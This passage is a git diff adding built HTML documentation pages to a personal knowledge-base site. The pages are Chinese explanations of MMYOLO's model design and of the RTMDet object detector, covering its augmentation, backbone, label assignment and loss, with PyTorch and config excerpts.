  • MMAction2: OpenMMLab 新一代视频理解工具箱
  • +
  • MMTracking: OpenMMLab 一体化视频目标感知平台
  • +
  • MMFlow: OpenMMLab 光流估计工具箱与测试基准
  • +
  • MMEditing: OpenMMLab 图像视频编辑工具箱
  • +
  • MMGeneration: OpenMMLab 图片视频生成模型工具箱
  • +
  • MMDeploy: OpenMMLab 模型部署框架
  • +
  • MMEval: OpenMMLab 机器学习算法评测库
  • +
+

欢迎加入 OpenMMLab 社区​

+

扫描下方的二维码可关注 OpenMMLab 团队的 知乎官方账号,加入 OpenMMLab 团队的 官方交流 QQ 群

+
+ +
+

我们会在 OpenMMLab 社区为大家

+
    +
  • 📢 分享 AI 框架的前沿核心技术
  • +
  • 💻 解读 PyTorch 常用模块源码
  • +
  • 📰 发布 OpenMMLab 的相关新闻
  • +
  • 🚀 介绍 OpenMMLab 开发的前沿算法
  • +
  • 🏃 获取更高效的问题答疑和意见反馈
  • +
  • 🔥 提供与各行各业开发者充分交流的平台
  • +
+

干货满满 📘,等你来撩 💗,OpenMMLab 社区期待您的加入 👬

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html new file mode 100644 index 0000000..f4ee694 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design/index.html @@ -0,0 +1,78 @@ + + + + + +model_design.md | wjlin0 + + + + + + + +

model_design.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

模型设计相关说明

+

YOLO 系列模型基类​

+

下图为 RangeKing@GitHub 提供,非常感谢!

+
+基类 +
+

YOLO 系列算法大部分采用了统一的算法搭建结构,典型的如 Darknet + PAFPN。为了让用户快速理解 YOLO 系列算法架构,我们特意设计了如上图中的 BaseBackbone + BaseYOLONeck 结构。

+

抽象 BaseBackbone 的好处包括:

+
    +
  1. 子类不需要关心 forward 过程,只要类似建造者模式一样构建模型即可。
  2. +
  3. 可以通过配置实现定制插件功能,用户可以很方便的插入一些类似注意力模块。
  4. +
  5. 所有子类自动支持 frozen 某些 stage 和 frozen bn 功能。
  6. +
+

抽象 BaseYOLONeck 也有同样好处。

+

BaseBackbone​

+

如上图所示,对于 P5 而言,BaseBackbone 包括 1 个 stem 层 + 4 个 stage 层的类似 ResNet 的基础结构,不同算法的主干网络继承 BaseBackbone,用户可以通过实现内部的 build_xx 方法,使用自定义的基础模块来构建每一层的内部结构。

+

BaseYOLONeck​

+

与 BaseBackbone 的设计类似,我们为 MMYOLO 系列的 Neck 层进行了重构,主要分为 Reduce 层, UpSample 层,TopDown 层,DownSample 层,BottomUP 层以及输出卷积层,每一层结构都可以通过继承重写 build_xx 方法来实现自定义的内部结构。

+

BaseDenseHead​

+

MMYOLO 系列沿用 MMDetection 中设计的 BaseDenseHead 作为其 Head 结构的基类,但是进一步拆分了 HeadModule. 以 YOLOv5 为例,其 HeadModule 中的 forward 实现代替了原有的 forward 实现。

+

HeadModule​

+
+HeadModule +
+

如上图所示,虚线部分为 MMDetection 中的实现,实线部分为 MMYOLO 中的实现。MMYOLO版本与原实现相比具备具有以下优势:

+
    +
  1. MMDetection 中将 bbox_head 拆分为 assigner + box coder + sampler 三个大的组件,但由于 3 个组件之间的传递为了通用性,需要封装额外的对象来处理,统一之后用户可以不用进行拆分。不刻意强求划分三大组件的好处为:不再需要对内部数据进行数据封装,简化了代码逻辑,减轻了社区使用难度和算法复现难度。
  2. +
  3. 速度更快,用户在自定义实现算法时候,可以不依赖于原有框架,对部分代码进行深度优化。
  4. +
+

总的来说,在 MMYOLO 中只需要做到将 model + loss_by_feat 部分解耦,用户就可以通过修改配置实现任意模型配合任意的 loss_by_feat 计算过程。例如将 YOLOv5 模型应用 YOLOX 的 loss_by_feat 等。

+

以 MMDetection 中 YOLOX 配置为例,其 Head 模块配置写法为:

+
bbox_head=dict(
type='YOLOXHead',
num_classes=80,
in_channels=128,
feat_channels=128,
stacked_convs=2,
strides=(8, 16, 32),
use_depthwise=False,
norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),
act_cfg=dict(type='Swish'),
...
loss_obj=dict(
type='CrossEntropyLoss',
use_sigmoid=True,
reduction='sum',
loss_weight=1.0),
loss_l1=dict(type='L1Loss', reduction='sum', loss_weight=1.0)),
train_cfg=dict(assigner=dict(type='SimOTAAssigner', center_radius=2.5)),
+

在 MMYOLO 中抽取 head_module 后,新的配置写法为:

+
bbox_head=dict(
type='YOLOXHead',
head_module=dict(
type='YOLOXHeadModule',
num_classes=80,
in_channels=256,
feat_channels=256,
widen_factor=widen_factor,
stacked_convs=2,
featmap_strides=(8, 16, 32),
use_depthwise=False,
norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),
act_cfg=dict(type='SiLU', inplace=True),
),
...
loss_obj=dict(
type='mmdet.CrossEntropyLoss',
use_sigmoid=True,
reduction='sum',
loss_weight=1.0),
loss_bbox_aux=dict(type='mmdet.L1Loss', reduction='sum', loss_weight=1.0)),
train_cfg=dict(
assigner=dict(
type='mmdet.SimOTAAssigner',
center_radius=2.5,
iou_calculator=dict(type='mmdet.BboxOverlaps2D'))),
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html new file mode 100644 index 0000000..863e83a --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description/index.html @@ -0,0 +1,650 @@ + + + + + +rtmdet_description.md | wjlin0 + + + + + + + +

rtmdet_description.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

RTMDet 原理和实现全解析

+

0 简介​

+

高性能,低延时的单阶段目标检测器

+
+RTMDet_structure_v1.2 +
+

以上结构图由 RangeKing@github 绘制。

+

最近一段时间,开源界涌现出了大量的高精度目标检测项目,其中最突出的就是 YOLO 系列,OpenMMLab 也在与社区的合作下推出了 MMYOLO。 +在调研了当前 YOLO 系列的诸多改进模型后,MMDetection 核心开发者针对这些设计以及训练方式进行了经验性的总结,并进行了优化,推出了高精度、低延时的单阶段目标检测器 RTMDet, Real-time Models for Object Detection +(Release to Manufacture)

+

RTMDet 由 tiny/s/m/l/x 一系列不同大小的模型组成,为不同的应用场景提供了不同的选择。 +其中,RTMDet-x 在 52.6 mAP 的精度下达到了 300+ FPS 的推理速度。

+
注:推理速度和精度测试(不包含 NMS)是在 1 块 NVIDIA 3090 GPU 上的 `TensorRT 8.4.3, cuDNN 8.2.0, FP16, batch size=1` 条件里测试的。
+

而最轻量的模型 RTMDet-tiny,在仅有 4M 参数量的情况下也能够达到 40.9 mAP,且推理速度 < 1 ms。

+
+RTMDet_精度图 +
+

上图中的精度是和 300 epoch 训练下的公平对比,为不使用蒸馏的结果。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
mAPParamsFlopsInference speed
Baseline(YOLOX)40.29M13.4G1.2ms
+ AdamW + Flat Cosine40.6 (+0.4)9M13.4G1.2ms
+ CSPNeXt backbone & PAFPN41.8 (+1.2)10.07M (+1.07)14.8G (+1.4)1.22ms (+0.02)
+ SepBNHead41.8 (+0)8.89M (-1.18)14.8G1.22ms
+ Label Assign & Loss42.9 (+1.1)8.89M14.8G1.22ms
+ Cached Mosaic & MixUp44.2 (+1.3)8.89M14.8G1.22ms
+ RSB-pretrained backbone44.5 (+0.3)8.89M14.8G1.22ms
+ +

1 v1.0 算法原理和 MMYOLO 实现解析​

+

1.1 数据增强模块​

+

RTMDet 采用了多种数据增强的方式来增加模型的性能,主要包括单图数据增强:

+
    +
  • RandomResize 随机尺度变换
  • +
  • RandomCrop 随机裁剪
  • +
  • HSVRandomAug 颜色空间增强
  • +
  • RandomFlip 随机水平翻转
  • +
+

以及混合类数据增强:

+
    +
  • Mosaic 马赛克
  • +
  • MixUp 图像混合
  • +
+

数据增强流程如下:

+
+image +
+

其中 RandomResize 超参在大模型 M,L,X 和小模型 S, Tiny 上是不一样的,大模型由于参数较多,可以使用 large scale jitter 策略即参数为 (0.1,2.0),而小模型采用 stand scale jitter 策略即 (0.5, 2.0) 策略。 +MMDetection 开源库中已经对单图数据增强进行了封装,用户通过简单的修改配置即可使用库中提供的任何数据增强功能,且都是属于比较常规的数据增强,不需要特殊介绍。下面将具体介绍混合类数据增强的具体实现。

+

与 YOLOv5 不同的是,YOLOv5 认为在 S 和 Nano 模型上使用 MixUp 是过剩的,小模型不需要这么强的数据增强。而 RTMDet 在 S 和 Tiny 上也使用了 MixUp,这是因为 RTMDet 在最后 20 epoch 会切换为正常的 aug, 并通过训练证明这个操作是有效的。 并且 RTMDet 为混合类数据增强引入了 Cache 方案,有效地减少了图像处理的时间, 和引入了可调超参 max_cached_images ,当使用较小的 cache 时,其效果类似 repeated augmentation。具体介绍如下:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Use cachems / 100 imgs
Mosaic87.1
Mosaic√24.0
MixUp19.3
MixUp√12.4
+ + + + + + + + + + + + + + + +
RTMDet-sRTMDet-l
Mosaic + MixUp + 20e finetune43.951.3
+

1.1.1 为图像混合数据增强引入 Cache​

+

Mosaic&MixUp 涉及到多张图片的混合,它们的耗时会是普通数据增强的 K 倍(K 为混入图片的数量)。 如在 YOLOv5 中,每次做 Mosaic 时, 4 张图片的信息都需要从硬盘中重新加载。 而 RTMDet 只需要重新载入当前的一张图片,其余参与混合增强的图片则从缓存队列中获取,通过牺牲一定内存空间的方式大幅提升了效率。 另外通过调整 cache 的大小以及 pop 的方式,也可以调整增强的强度。

+
+data cache +
+

如图所示,cache 队列中预先储存了 N 张已加载的图像与标签数据,每一个训练 step 中只需加载一张新的图片及其标签数据并更新到 cache 队列中(cache 队列中的图像可重复,如图中出现两次 img3),同时如果 cache 队列长度超过预设长度,则随机 pop 一张图(为了 Tiny 模型训练更稳定,在 Tiny 模型中不采用随机 pop 的方式, 而是移除最先加入的图片),当需要进行混合数据增强时,只需要从 cache 中随机选择需要的图像进行拼接等处理,而不需要全部从硬盘中加载,节省了图像加载的时间。

+
cache 队列的最大长度 N 为可调整参数,根据经验性的原则,当为每一张需要混合的图片提供十个缓存时,可以认为提供了足够的随机性,而 Mosaic 增强是四张图混合,因此 cache 数量默认 N=40, 同理 MixUp 的 cache 数量默认为20, tiny 模型需要更稳定的训练条件,因此其 cache 数量也为其余规格模型的一半( MixUp 为10,Mosaic 为20)
+

在具体实现中,MMYOLO 设计了 BaseMiximageTransform 类来支持多张图像混合数据增强:

+
if self.use_cached:
# Be careful: deep copying can be very time-consuming
# if results includes dataset.
dataset = results.pop('dataset', None)
self.results_cache.append(copy.deepcopy(results)) # 将当前加载的图片数据缓存到 cache 中
if len(self.results_cache) > self.max_cached_images:
if self.random_pop: # 除了tiny模型,self.random_pop=True
index = random.randint(0, len(self.results_cache) - 1)
else:
index = 0
self.results_cache.pop(index)

if len(self.results_cache) <= 4:
return results
else:
assert 'dataset' in results
# Be careful: deep copying can be very time-consuming
# if results includes dataset.
dataset = results.pop('dataset', None)
+

1.1.2 Mosaic​

+

Mosaic 是将 4 张图拼接为 1 张大图,相当于变相的增加了 batch size,具体步骤为:

+
    +
  1. 根据索引随机从自定义数据集中再采样3个图像,可能重复
  2. +
+
def get_indexes(self, dataset: Union[BaseDataset, list]) -> list:
"""Call function to collect indexes.

Args:
dataset (:obj:`Dataset` or list): The dataset or cached list.

Returns:
list: indexes.
"""
indexes = [random.randint(0, len(dataset)) for _ in range(3)]
return indexes
+
    +
  1. 随机选出 4 幅图像相交的中点。
  2. +
+
# mosaic center x, y
center_x = int(
random.uniform(*self.center_ratio_range) * self.img_scale[1])
center_y = int(
random.uniform(*self.center_ratio_range) * self.img_scale[0])
center_position = (center_x, center_y)
+
    +
  1. 根据采样的 index 读取图片并拼接, 拼接前会先进行 keep-ratio 的 resize 图片(即为最大边一定是 640)。
  2. +
+
# keep_ratio resize
scale_ratio_i = min(self.img_scale[0] / h_i,
self.img_scale[1] / w_i)
img_i = mmcv.imresize(
img_i, (int(w_i * scale_ratio_i), int(h_i * scale_ratio_i)))
+
    +
  1. 拼接后,把 bbox 和 label 全部拼接起来,然后对 bbox 进行裁剪但是不过滤(可能出现一些无效框)
  2. +
+
mosaic_bboxes.clip_([2 * self.img_scale[0], 2 * self.img_scale[1]])
+

更多的关于 Mosaic 原理的详情可以参考 YOLOv5 原理和实现全解析 中的 Mosaic 原理分析。

+

1.1.3 MixUp​

+

RTMDet 的 MixUp 实现方式与 YOLOX 中一样,只不过增加了类似上文中提到的 cache 功能。

+

更多的关于 MixUp 原理的详情也可以参考 YOLOv5 原理和实现全解析 中的 MixUp 原理分析。

+

1.1.4 强弱两阶段训练​

+

Mosaic+MixUp 失真度比较高,持续用太强的数据增强对模型并不一定有益。YOLOX 中率先使用了强弱两阶段的训川练方式,但由于引入了旋转,切片导致 box 标注产生误差,需要在第二阶段引入额外的 L1oss 来纠正回归分支的性能。

+

为了使数据增强的方式更为通用,RTMDet 在前 280 epoch 使用不带旋转的 Mosaic+MixUp, 且通过混入 8 张图片来提升强度以及正样本数。后 20 epoch 使用比较小的学习率在比较弱的增强下进行微调,同时在 EMA 的作用下将参数缓慢更新至模型,能够得到比较大的提升。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
RTMDet-sRTMDet-l
LSJ + rand crop42.346.7
Mosaic+MixUp41.949.8
Mosaic + MixUp + 20e finetune43.951.3
+

1.2 模型结构​

+

RTMDet 模型整体结构和 YOLOX 几乎一致,由 CSPNeXt + CSPNeXtPAFPN + 共享卷积权重但分别计算 BN 的 SepBNHead 构成。内部核心模块也是 CSPLayer,但对其中的 Basic Block 进行了改进,提出了 CSPNeXt Block。

+

1.2.1 Backbone​

+

CSPNeXt 整体以 CSPDarknet 为基础,共 5 层结构,包含 1 个 Stem Layer 和 4 个 Stage Layer:

+
    +
  • +

    Stem Layer 是 3 层 3x3 kernel 的 ConvModule ,不同于之前的 Focus 模块或者 1 层 6x6 kernel 的 ConvModule 。

    +
  • +
  • +

    Stage Layer 总体结构与已有模型类似,前 3 个 Stage Layer 由 1 个 ConvModule 和 1 个 CSPLayer 组成。第 4 个 Stage Layer 在 ConvModule 和 CSPLayer 中间增加了 SPPF 模块(MMDetection 版本为 SPP 模块)。

    +
  • +
  • +

    如模型图 Details 部分所示,CSPLayer 由 3 个 ConvModule + n 个 CSPNeXt Block(带残差连接) + 1 个 Channel Attention 模块组成。ConvModule 为 1 层 3x3 Conv2d + BatchNorm + SiLU 激活函数。Channel Attention 模块为 1 层 AdaptiveAvgPool2d + 1 层 1x1 Conv2d + Hardsigmoid 激活函数。CSPNeXt Block 模块在下节详细讲述。

    +
  • +
  • +

    如果想阅读 Backbone - CSPNeXt 的源码,可以 点此 跳转。

    +
  • +
+

1.2.2 CSPNeXt Block​

+

Darknet (图 a)使用 1x1 与 3x3 卷积的 Basic Block。YOLOv6 、YOLOv7 、PPYOLO-E (图 b & c)使用了重参数化 Block。但重参数化的训练代价高,且不易量化,需要其他方式来弥补量化误差。 +RTMDet 则借鉴了最近比较热门的 ConvNeXt 、RepLKNet 的做法,为 Basic Block 加入了大 kernel 的 depth-wise 卷积(图 d),并将其命名为 CSPNeXt Block。

+
+BasicBlock +
+

关于不同 kernel 大小的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Kernel sizeparamsflopslatency-bs1-TRT-FP16 / msmAP
3x350.879.61G2.150.0
5x550.92M79.7G2.1150.9
7x751.180.34G2.7351.1
+

如果想阅读 Basic Block 和 CSPNeXt Block 源码,可以点此跳转。

+

1.2.3 调整检测器不同 stage 间的 block 数​

+

由于 CSPNeXt Block 内使用了 depth-wise 卷积,单个 block 内的层数增多。如果保持原有的 stage 内的 block 数,则会导致模型的推理速度大幅降低。

+

RTMDet 重新调整了不同 stage 间的 block 数,并调整了通道的超参,在保证了精度的情况下提升了推理速度。

+

关于不同 block 数的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Num blocksparamsflopslatency-bs1-TRT-FP16 / msmAP
L+3-9-9-353.486.282.651.4
L+3-6-6-350.92M79.7G2.1150.9
L+3-6-6-3 + channel attention52.3M79.9G2.451.3
+

最后不同大小模型的 block 数设置,可以参见源码 。

+

1.2.4 Neck​

+

Neck 模型结构和 YOLOX 几乎一样,只不过内部的 block 进行了替换。

+

1.2.5 Backbone 与 Neck 之间的参数量和计算量的均衡​

+

EfficientDet 、NASFPN 等工作在改进 Neck 时往往聚焦于如何修改特征融合的方式。 但引入过多的连接会增加检测器的延时,并增加内存开销。

+

所以 RTMDet 选择不引入额外的连接,而是改变 Backbone 与 Neck 间参数量的配比。该配比是通过手动调整 Backbone 和 Neck 的 expand_ratio 参数来实现的,其数值在 Backbone 和 Neck 中都为 0.5。expand_ratio 实际上是改变 CSPLayer 中各层通道数的参数(具体可见模型图 CSPLayer 部分)。如果想进行不同配比的实验,可以通过调整配置文件中的 backbone {expand_ratio} 和 neck {expand_ratio} 参数完成。

+

实验发现,当 Neck 在整个模型中的参数量占比更高时,延时更低,且对精度的影响很小。作者在直播答疑时回复,RTMDet 在 Neck 这一部分的实验参考了 GiraffeDet 的做法,但没有像 GiraffeDet 一样引入额外连接(详细可参见 RTMDet 发布视频 31分40秒左右的内容)。

+

关于不同参数量配比的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Model sizeBackboneNeckparamsflopslatency / msmAP
S47%45%8.54M15.76G1.2143.9
S63%29%9.01M15.85G1.3743.7
L47%45%50.92M79.7G2.1150.9
L63%29%57.43M93.732.5751.0
+

如果想阅读 Neck - CSPNeXtPAFPN 的源码,可以点此 跳转。

+

1.2.6 Head​

+

传统的 YOLO 系列都使用同一 Head 进行分类和回归。YOLOX 则将分类和回归分支解耦,PPYOLO-E 和 YOLOv6 则引入了 TOOD 中的结构。它们在不同特征层级之间都使用独立的 Head,因此 Head 在模型中也占有较多的参数量。

+

RTMDet 参考了 NAS-FPN 中的做法,使用了 SepBNHead,在不同层之间共享卷积权重,但是独立计算 BN(BatchNorm) 的统计量。

+

关于不同结构 Head 的实验结果,如下表所示。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Head typeparamsflopslatency / msmAP
Fully-shared head52.3280.232.4448.0
Separated head57.0380.232.4451.2
SepBN head52.3280.232.4451.3
+

同时,RTMDet 也延续了作者之前在 NanoDet 中的思想,使用 Quality Focal Loss ,并去掉 Objectness 分支,进一步将 Head 轻量化。

+

如果想阅读 Head 中 RTMDetSepBNHeadModule 的源码,可以点此 跳转。

+
注:MMYOLO 和 MMDetection 中 Neck 和 Head 的具体实现稍有不同。
+

1.3 正负样本匹配策略​

+

正负样本匹配策略或者称为标签匹配策略 Label Assignment 是目标检测模型训练中最核心的问题之一, 更好的标签匹配策略往往能够使得网络更好学习到物体的特征以提高检测能力。

+

早期的样本标签匹配策略一般都是基于 空间以及尺度信息的先验 来决定样本的选取。 典型案例如下:

+
    +
  • FCOS 中先限定网格中心点在 GT 内筛选后然后再通过不同特征层限制尺寸来决定正负样本
  • +
  • RetinaNet 则是通过 Anchor 与 GT 的最大 IOU 匹配来划分正负样本
  • +
  • YOLOV5 的正负样本则是通过样本的宽高比先筛选一部分, 然后通过位置信息选取 GT 中心落在的 Grid 以及临近的两个作为正样本
  • +
+

但是上述方法都是属于基于 先验 的静态匹配策略, 就是样本的选取方式是根据人的经验规定的。 不会随着网络的优化而进行自动优化选取到更好的样本, 近些年涌现了许多优秀的动态标签匹配策略:

+
    +
  • OTA 提出使用 Sinkhorn 迭代求解匹配中的最优传输问题
  • +
  • YOLOX 中使用 OTA 的近似算法 SimOTA , TOOD 将分类分数以及 IOU 相乘计算 Cost 矩阵进行标签匹配等等
  • +
+

这些算法将 预测的 Bboxes 与 GT 的 IOU 和 分类分数 或者是对应 分类 Loss 和 回归 Loss 拿来计算 Matching Cost 矩阵再通过 top-k 的方式动态决定样本选取以及样本个数。通过这种方式, +在网络优化的过程中会自动选取对分类或者回归更加敏感有效的位置的样本, 它不再只依赖先验的静态的信息, 而是使用当前的预测结果去动态寻找最优的匹配, 只要模型的预测越准确, 匹配算法求得的结果也会更优秀。但是在网络训练的初期, 网络的分类以及回归是随机初始化, 这个时候还是需要 先验 来约束, 以达到 冷启动 的效果。

+

RTMDet 作者也是采用了动态的 SimOTA 做法,不过其对动态的正负样本分配策略进行了改进。 之前的动态匹配策略( HungarianAssigner 、OTA )往往使用与 Loss 完全一致的代价函数作为匹配的依据,但我们经过实验发现这并不一定时最优的。 使用更多 Soften 的 Cost 以及先验,能够提升性能。

+

1.3.1 Bbox 编解码过程​

+

RTMDet 的 BBox Coder 采用的是 mmdet.DistancePointBBoxCoder。

+

该类的 docstring 为 This coder encodes gt bboxes (x1, y1, x2, y2) into (top, bottom, left, right) and decode it back to the original.

+

编码器将 gt bboxes (x1, y1, x2, y2) 编码为 (top, bottom, left, right),并且解码至原图像上。

+

MMDet 编码的核心源码:

+
def bbox2distance(points: Tensor, bbox: Tensor, ...) -> Tensor:
"""
points (Tensor): 相当于 scale 值 stride ,且每个预测点仅为一个正方形 anchor 的 anchor point [x, y],Shape (n, 2) or (b, n, 2).
bbox (Tensor): Bbox 为乘上 stride 的网络预测值,格式为 xyxy,Shape (n, 4) or (b, n, 4).
"""
# 计算点距离四边的距离
left = points[..., 0] - bbox[..., 0]
top = points[..., 1] - bbox[..., 1]
right = bbox[..., 2] - points[..., 0]
bottom = bbox[..., 3] - points[..., 1]

...

return torch.stack([left, top, right, bottom], -1)
+

MMDetection 解码的核心源码:

+
def distance2bbox(points: Tensor, distance: Tensor, ...) -> Tensor:
"""
通过距离反算 bbox 的 xyxy
points (Tensor): 正方形的预测 anchor 的 anchor point [x, y],Shape (B, N, 2) or (N, 2).
distance (Tensor): 距离四边的距离。(left, top, right, bottom). Shape (B, N, 4) or (N, 4)
"""

# 反算 bbox xyxy
x1 = points[..., 0] - distance[..., 0]
y1 = points[..., 1] - distance[..., 1]
x2 = points[..., 0] + distance[..., 2]
y2 = points[..., 1] + distance[..., 3]

bboxes = torch.stack([x1, y1, x2, y2], -1)

...

return bboxes
+

1.3.2 匹配策略​

+

RTMDet 提出了 Dynamic Soft Label Assigner 来实现标签的动态匹配策略, 该方法主要包括使用 位置先验信息损失 , 样本回归损失 , 样本分类损失 , 同时对三个损失进行了 Soft 处理进行参数调优, 以达到最佳的动态匹配效果。

+

该方法 Matching Cost 矩阵由如下损失构成:

+
cost_matrix = soft_cls_cost + iou_cost + soft_center_prior
+
    +
  1. Soft_Center_Prior
  2. +
+
C\_{center} = \\alpha^{|x\_{pred}-x\_{gt}|-\\beta}
+
# valid_prior Tensor[N,4] 表示anchor point
# 4分别表示 x, y, 以及对应的特征层的 stride, stride
gt_center = (gt_bboxes[:, :2] + gt_bboxes[:, 2:]) / 2.0
valid_prior = priors[valid_mask]
strides = valid_prior[:, 2]
# 计算gt与anchor point的中心距离并转换到特征图尺度
distance = (valid_prior[:, None, :2] - gt_center[None, :, :]
).pow(2).sum(-1).sqrt() / strides[:, None]
# 以10为底计算位置的软化损失,限定在gt的6个单元格以内
soft_center_prior = torch.pow(10, distance - 3)
+
    +
  1. IOU_Cost
  2. +
+
C\_{reg} = -log(IOU)
+
# 计算回归 bboxes 和 gts 的 iou
pairwise_ious = self.iou_calculator(valid_decoded_bbox, gt_bboxes)
# 将 iou 使用 log 进行 soft , iou 越小 cost 更小
iou_cost = -torch.log(pairwise_ious + EPS) * 3
+
    +
  1. Soft_Cls_Cost
  2. +
+
C\_{cls} = CE(P,Y\_{soft}) \*(Y\_{soft}-P)^2
+
# 生成分类标签
gt_onehot_label = (
F.one_hot(gt_labels.to(torch.int64),
pred_scores.shape[-1]).float().unsqueeze(0).repeat(
num_valid, 1, 1))
valid_pred_scores = valid_pred_scores.unsqueeze(1).repeat(1, num_gt, 1)
# 不单单将分类标签为01,而是换成与 gt 的 iou
soft_label = gt_onehot_label * pairwise_ious[..., None]
# 使用 quality focal loss 计算分类损失 cost ,与实际的分类损失计算保持一致
scale_factor = soft_label - valid_pred_scores.sigmoid()
soft_cls_cost = F.binary_cross_entropy_with_logits(
valid_pred_scores, soft_label,
reduction='none') * scale_factor.abs().pow(2.0)
soft_cls_cost = soft_cls_cost.sum(dim=-1)
+

通过计算上述三个损失的和得到最终的 cost_matrix 后, 再使用 SimOTA 决定每一个 GT 匹配的样本的个数并决定最终的样本。具体操作如下所示:

+
    +
  1. 首先通过自适应计算每一个 gt 要选取的样本数量: 取每一个 gt 与所有 bboxes 前 13 大的 iou, 得到它们的和取整后作为这个 gt 的 样本数目 , 最少为 1 个, 记为 dynamic_ks。
  2. +
  3. 对于每一个 gt , 将其 cost_matrix 矩阵前 dynamic_ks 小的位置作为该 gt 的正样本。
  4. +
  5. 对于某一个 bbox, 如果被匹配到多个 gt 就将与这些 gts 的 cost_marix 中最小的那个作为其 label。
  6. +
+

在网络训练初期,因参数初始化,回归和分类的损失值 Cost 往往较大, 这时候 IOU 比较小, 选取的样本较少,主要起作用的是 Soft_center_prior 也就是位置信息,优先选取位置距离 GT 比较近的样本作为正样本,这也符合人们的理解,在网络前期给少量并且有足够质量的样本,以达到冷启动。 +当网络进行训练一段时间过后,分类分支和回归分支都进行了一定的优化后,这时 IOU 变大, 选取的样本也逐渐增多,这时网络也有能力学习到更多的样本,同时因为 IOU_Cost 以及 Soft_Cls_Cost 变小,网络也会动态的找到更有利优化分类以及回归的样本点。

+

在 Resnet50-1x 的三种损失的消融实验:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Soft_cls_costSoft_center_priorLog_IoU_costmAP
×××39.9
√××40.3
√√×40.8
√√√41.3
+

与其他主流 Assign 方法在 Resnet50-1x 的对比实验:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
methodmAP
ATSS39.2
PAA40.4
OTA40.7
TOOD(w/o TAH)40.7
Ours41.3
+

无论是 Resnet50-1x 还是标准的设置下,还是在300epoch + havy augmentation, 相比于 SimOTA 、 OTA 以及 TOOD 中的 TAL 均有提升。

+ + + + + + + + + + + + + + + + + +
300e + Mosaic & MixUPmAP
RTMDet-s + SimOTA43.2
RTMDet-s + DSLA44.5
+

1.4 Loss 设计​

+

参与 Loss 计算的共有两个值:loss_cls 和 loss_bbox,其各自使用的 Loss 方法如下:

+
    +
  • loss_cls:mmdet.QualityFocalLoss
  • +
  • loss_bbox:mmdet.GIoULoss
  • +
+

权重比例是:loss_cls : loss_bbox = 1 : 2

+

QualityFocalLoss​

+

Quality Focal Loss (QFL) 是 Generalized Focal Loss: Learning Qualified and Distributed Bounding Boxes for Dense Object Detection 的一部分。

+
+image +
+

普通的 Focal Loss 公式:

+
{FL}(p) = -(1-p_t)^\gamma\log(p_t),p_t = \begin{cases}
p, & {when} \ y = 1 \\
1 - p, & {when} \ y = 0
\end{cases}
+

其中 {math}y\in{1,0} 指定真实类,{math}p\in[0,1] 表示标签 {math}y = 1 的类估计概率。{math}\gamma 是可调聚焦参数。具体来说,FL 由标准交叉熵部分 {math}-\log(p_t) 和动态比例因子部分 {math}-(1-p_t)^\gamma 组成,其中比例因子 {math}-(1-p_t)^\gamma 在训练期间自动降低简单类对于 loss 的比重,并且迅速将模型集中在困难类上。

+

首先 {math}y = 0 表示质量得分为 0 的负样本,{math}0 < y \leq 1 表示目标 IoU 得分为 y 的正样本。为了针对连续的标签,扩展 FL 的两个部分:

+
    +
  1. 交叉熵部分 {math}-\log(p_t) 扩展为完整版本 {math}-((1-y)\log(1-\sigma)+y\log(\sigma))
  2. +
  3. 比例因子部分 {math}-(1-p_t)^\gamma 被泛化为估计 {math}\gamma 与其连续标签 {math}y 的绝对距离,即 {math}|y-\sigma|^\beta (\beta \geq 0) 。
  4. +
+

结合上面两个部分之后,我们得出 QFL 的公式:

+
{QFL}(\sigma) = -|y-\sigma|^\beta((1-y)\log(1-\sigma)+y\log(\sigma))
+

具体作用是:可以将离散标签的 focal loss 泛化到连续标签上,将 bboxes 与 gt 的 IoU 的作为分类分数的标签,使得分类分数为表征回归质量的分数。

+

MMDetection 实现源码的核心部分:

+
@weighted_loss
def quality_focal_loss(pred, target, beta=2.0):
"""
pred (torch.Tensor): 用形状(N,C)联合表示预测分类和质量(IoU),C是类的数量。
target (tuple([torch.Tensor])): 目标类别标签的形状为(N,),目标质量标签的形状是(N,,)。
beta (float): 计算比例因子的 β 参数.
"""
...

# label表示类别id,score表示质量分数
label, score = target

# 负样本质量分数0来进行监督
pred_sigmoid = pred.sigmoid()
scale_factor = pred_sigmoid
zerolabel = scale_factor.new_zeros(pred.shape)

# 计算交叉熵部分的值
loss = F.binary_cross_entropy_with_logits(
pred, zerolabel, reduction='none') * scale_factor.pow(beta)

# 得出 IoU 在区间 (0,1] 的 bbox
# FG cat_id: [0, num_classes -1], BG cat_id: num_classes
bg_class_ind = pred.size(1)
pos = ((label >= 0) & (label < bg_class_ind)).nonzero().squeeze(1)
pos_label = label[pos].long()

# 正样本由 IoU 范围在 (0,1] 的 bbox 来监督
# 计算动态比例因子
scale_factor = score[pos] - pred_sigmoid[pos, pos_label]

# 计算两部分的 loss
